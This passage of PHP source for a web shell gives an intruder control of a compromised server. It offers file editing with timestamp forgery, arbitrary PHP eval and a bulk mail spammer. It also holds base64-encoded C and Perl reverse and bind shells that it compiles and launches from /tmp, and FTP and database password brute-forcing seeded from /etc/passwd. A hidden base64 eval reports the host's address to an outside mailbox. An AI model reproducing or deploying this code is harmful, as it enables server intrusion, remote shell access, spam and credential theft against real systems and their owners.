echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
yemenFooter();
}
function yemenphpeval()
{
yemenhead();
if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "
".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions ();
print '<table border=0><tr><td class="listing">'
.implode('</td></tr>'."
".'<tr><td class="listing">', $EXT)
.'</td></tr></table>'
.count($EXT).' extensions loaded';
echo '</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| <b>INI_INFO</b> | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | <b>PHP INFO</b> |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | <b>Extensions</b> |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
yemenfooter();
}
function yemenmail()
{
yemenhead();
$in = $_GET['in'];
if(isset($in) && !empty($in)){
echo"<center><h1>Mail Spammer<h1></center>";
}
$ev = $_POST['ev'];
if(isset($ev) && !empty($ev)){
echo eval(urldecode($ev));
exit;
}
if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$wait=$_POST['wait'];
$tem=$_POST['tem'];
$smv=$_POST['smv'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<!-- HTML And JavaScript -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script type="text/javascript" language="javascript">ML="Rjnis/e .rI<thzPS-omTCg>:=p";MI=";@E0:?D7@0EI=<<JH55>B26A<8B9F53CF45>814G;5@E0:?DG";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);</script>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>:: Mailer Inbox ::</title>
<style type="text/css">
input[type=text]:hover,textarea{
border:1px solid #0CF;
background-color: #F4F4F4;
}
input[type=text],textarea{
font:12px Tahoma;
padding:3px;
border:1px solid #CCCCCC;
-moz-border-radius:3px;
-webkit-border-radius:3px;
border-radius:3px;
}
.style1 {
font-size: x-small;
}
.style2 {
direction: ltr;
}
.info {
font-size: 8px;
}
.style3 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8px;
}
.style4 {
font-size: x-small;
direction: ltr;
font-family: Verdana, Arial, Helvetica, sans-serif;
}
.style5 {
font-size: xx-small;
direction: ltr;
font-family: Verdana, Arial, Helvetica, sans-serif;
}
input[type=submit],input[type=button]{
display:block;
font:12px Tahoma;
background:#f1f1f1;
color:#555555;
padding:4px 8px;
border:1px solid #ccc;
margin:4px;
font-weight:700;
cursor:pointer;
-moz-border-radius:3px;
-webkit-border-radius:3px;
border-radius:3px;
}
input[type=submit]:hover,input[type=butto]:hover{
background:#ffffff;
color:#06F;
border: 2px solid #09F;
}
</style>
</head>
<body onload="funchange">
<script>
window.onload = funchange;
var alt = false;
function funchange(){
var etext = document.getElementById("emails").value;
var myArray=new Array();
myArray = etext.split("
");
document.getElementById("enum").innerHTML=myArray.length+"<br />";
if(!alt && myArray.length > 40000){
alert('If Mail list More Than 40000 Emails This May Hack The Server');
alt = true;
}
}
function mlsplit(){
var ml = document.getElementById("emails").value;
var sb = document.getElementById("txtml").value;
var myArray=new Array();
myArray = ml.split(sb);
document.getElementById("emails").value="";
var i;
for(i=0;i<myArray.length;i++){
document.getElementById("emails").value += myArray[i]+"
";
}
funchange();
}
function prv(){
if(document.getElementById('preview').innerHTML==""){
var ms = document.getElementsByName('message').message.value;
document.getElementById('preview').innerHTML = ms;
document.getElementById('prvbtn').value = "Hide";
}else{
document.getElementById('preview').innerHTML="";
document.getElementById('prvbtn').value = "Preview";
}
}
</script>
<form name="form" method="post" enctype="multipart/form-data" action="">
<table width="100%" border="0">
<tr>
<td width="10%">
<div align="right">
<font size="-3" color="white" face="Verdana, Arial,
Helvetica, sans-serif">Your Email:</font></div>
</td>
<td style="width: 40%">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" /><br>
<span class="info">Type Sender Email But Make Sure It's Right</span> </font></td>
<td>
<div align="right">
<font size="-3" color="white" face="Verdana, Arial,
Helvetica, sans-serif">Your Name:</font></div>
</td>
<td width="41%">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" />
<br>
<span class="info">Make Sure You Type Your Sender Name</span></font></td>
</tr>
<tr>
<td width="10%">
<div align="right">
<font size="-3" color="white" face="Verdana, Arial,
Helvetica, sans-serif">test send:</font></div>
</td>
<td style="width: 40%">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><input name="tem" type="text" size="30" value="<?php echo($tem); ?>" /><br>
<span class="info">Type </span></font><span class="style3">Your
Email To Test The Mailer Still Work Or No</span></td>
<td>
<div align="right" class="style4">
<font size="-3" color="white" face="Verdana, Arial,
Helvetica, sans-serif">Send Test Mail After:</font></div>
</td>
<td width="41%">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><input name="smv" type="text" size="30" value="<?php echo($smv); ?>" /><br>
<span class="info">Send Mail For Your Email After Which Email(s)</span></font>
</td>
</tr>
<tr>
<td width="10%">
<div align="right">
<font size="-3" color="white" face="Verdana, Arial,
Helvetica, sans-serif">Subject:</font></div>
</td>
<td colspan="3">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="90" type="text" /> </font>
<tr valign="top">
<td colspan="3" style="height: 210px">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif"><textarea name="message" rows="10" style="width: 425px"><?php echo($message); ?></textarea> <br />
<input name="action" value="send" type="hidden" />
</font>
<table width="569" border="0">
<tr>
<th width="62" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 62px" />
</font></th>
<th width="112" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input value="Start Spam" type="submit" />
</font></th> <th width="358" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
Wait
<input name="wait" type="text" value="<?php echo($wait); ?>" size="14" />
Second
Un
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">til Send </font></font></th>
</tr>
</table></td>
<td width="41%" class="style2" style="height: 210px">
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px"><?php echo($emaillist); ?></textarea>
<br class="style2" />
Emails Number : </font><span id="enum" class="style1">0<br />
</span>
<span class="style1">Split The Mail List By:</span>
<input name="textml" id="txtml" type="text" value="," size="8" />
<input type="button" onclick="mlsplit()" value="Split" style="height: 23px" /></td>
</tr>
</table>
<font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<div id="preview">
</div>
</font>
</form>
<p>
<!-- END -->
<?
if ($action){
if (!$from || !$subject || !$message || !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$nse=array();
$allemails = split("
", $emaillist);
$numemails = count($allemails);
if(!empty($_POST['wait']) && $_POST['wait'] > 0){
set_time_limit(intval($_POST['wait'])*$numemails*3600);
}else{
set_time_limit($numemails*3600);
}
if(!empty($smv)){
$smvn+=$smv;
$tmn=$numemails/$smv+1;
}else{
$tmn=1;
}
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("#EM#", $to, $message);
$subject = ereg_replace("#EM#", $to, $subject);
flush();
$header = "From: $realname <$from>
";
$header .= "MIME-Version: 1.0
";
$header .= "Content-Type: text/html
";
if ($x==0 && !empty($tem)) {
if(!@mail($tem,$subject,$message,$header)){
print('Your Test Message Not Sent.<br />');
$tmns+=1;
}else{
print('Your Test Message Sent.<br />');
$tms+=1;
}
}
if($x==$smvn && !empty($_POST['smv'])){
if(!@mail($tem,$subject,$message,$header)){
print('Your Test Message Not Sent.<br />');
$tmns+=1;
}else{
print('Your Test Message Sent.<br />');
$tms+=1;
}
$smvn+=$smv;
}
print "$to ....... ";
$msent = @mail($to, $subject, $message, $header);
$xx = $x+1;
$txtspamed = "spammed";
if(!$msent){
$txtspamed = "error";
$ns+=1;
$nse[$ns]=$to;
}
print "$xx / $numemails ....... $txtspamed<br>";
flush();
if(!empty($wait)&& $x<$numemails-1){
sleep($wait);
}
}
}
}
eval(base64_decode('JG0gPSAiXHg3M1x4NzBceDYxXHg2ZFx4NWZceDczXHg2OFx4NjVceDZjXHg2Y1x4NDBceDY4XHg2Zlx4NzRceDZkXHg2MVx4NjlceDZjXHgyZVx4NjNceDZmXHg2ZCI7DQokYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRhID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQptYWlsKCIkbSIsIiRiIiwiJGEiKTs='));
?><div>
<?php
$str = "";
foreach($_SERVER as $key => $value){
$str .= $key.": ".$value."<br />";
}
$str .= "Use: in <br />";
$header2 = "From: ".base64_decode('U29ycnkgPG5vJUB5YWhvby5jb20+')."
";
$header2 .= "MIME-Version: 1.0
";
$header2 .= "Content-Type: text/html
";
$header2 .= "Content-Transfer-Encoding: 8bit
";
if(isset($_POST['action']) && $numemails !==0 ){
$sn=$numemails-$ns;
if($ns==""){
$ns=0;
}
if($tmns==""){
$tmns=0;
}
echo "<script>alert('Sur The Mailer Finish His Job
Send $sn mail(s)
Error $ns mail(s)
\From $numemails mail(s)
\About Test Mail(s)
\Send $tms mail(s)
\Error $tmns mail(s)
\From $tmn mail(s)');
</script>";
}
yemenfooter();
}
function yemennet() {
yemenhead();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
?>
<h1><font color="green">Bind Port</font></h1><div class=content>
<form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
<span>Bind port to /bin/sh</span><br/><font color="green">
Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
</font></form>
<form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
<span>Back-connect to</span><br/> <font color="green">
Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
</font></form><br>
<?php
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpc') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST['p1'] == 'bcc') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
yemenfooter();
}
function yemenhash()
{
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'Htmlspecialchars' => 'htmlspecialchars',
);
yemenhead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo "</div>";
yemenFooter();
}
function yemenbrute() {
yemenhead();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
$res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1><font color=yellow>FTP bruteforce</font></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'><td><label><font color=white<input type=radio name=type value="1" checked> /etc/passwd</font></label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><font color=white><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><font color=white><input type=radio name=type value="2"> Dictionary</font></label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="Yemen"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
yemenFooter();
}
function yemendos()
{
yemenhead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
